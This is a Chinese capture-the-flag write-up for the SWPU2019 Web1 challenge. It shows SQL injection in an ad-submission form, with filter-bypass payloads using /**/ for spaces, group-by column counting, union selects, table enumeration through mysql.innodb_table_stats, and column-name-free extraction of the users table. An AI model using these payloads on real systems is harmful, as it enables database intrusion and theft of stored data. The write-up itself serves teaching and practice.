[SWPU2019]Web1
[SWPU2019]Web1
打开网页是一个登录页面
源代码中没有发现什么有用的信息,注册个账号进行尝试
发现admin已经被使用了,换了个用户名注册成功
点击“申请发布广告”,需要填写广告名和内容
使用1'测试
广告详情里发现报错
说明此处存在SQL注入点
进行测试时发现空格、or、#、--+、and等进行了过滤,目前基本可以确定注入点在这个地方,在进行注入的时候我们需要先判断列数,payload:
1'/**/group/**/by/**/n,'
n为整数(因为对or进行了过滤,导致order无法使用,因此这里才采用group by来确定列数),最终得到n为22,结果如下:
确定列数之后那就要确定哪些列得信息可以进行展示,payload:
1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
最终获得2和3会显示出来,结果如下:
确定回显信息后那就获取基本信息,如数据库名、用户名、版本等信息,最终获得数据库名web1、用户root、数据库类型mariadb,结果如下:
1'union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
1'union/**/select/**/1,database(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
information_schema还有or,因为or被过滤,因此也无法使用。所以这里只能采用innodb_index_stats和 innodb_table_stats来进行绕过。payload:
1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'&&'1'='1
获得表名字为:ads、users,结果如下:
进行无列名注入获取flag值,因为没有mysql.innodb_column_stats这个方法,查不了列名
大概原理就是没有列名,那就给它取名,然后按别名正常继续注入,payload:
1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
以上两者均可,其中group_concat(参数),对参数进行修改,访问每一个字段,结果如下:
接着对以上注入进行简单讲解
首先有两个表ads,users。flag在users表第三列
select group_concat(b) from (select 1,2 as b,3 union select * from users)a
a,b为别名,可以乱取,b别名为users表第二列别名。
select 1,2,3用来判断回显,在数据库中这样会显示三列分别为1,2,3,而1,2,3就是三列列名
那select 1,2,3 union select * from users就会以1,2,3为列名查询users表中的内容了。具体原因涉及数据库底层,这里不做阐述
我们可以看到列名都被1,2,3替换了,这其实是他提取了表的内容,形成了新表,却没提取列名,所以我们可以用这个1,2,3去随时替换我们想要的列,例如:
select `2` from (select 1,2 union select * from user)a;后面加个a是为了给这个表弄个别名防止报错,同理如果这里``被过滤了也可以用别名替代:
select b from (select 1,2,3 as b union select * from user)a;这里就是3 as b,查的第三列
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具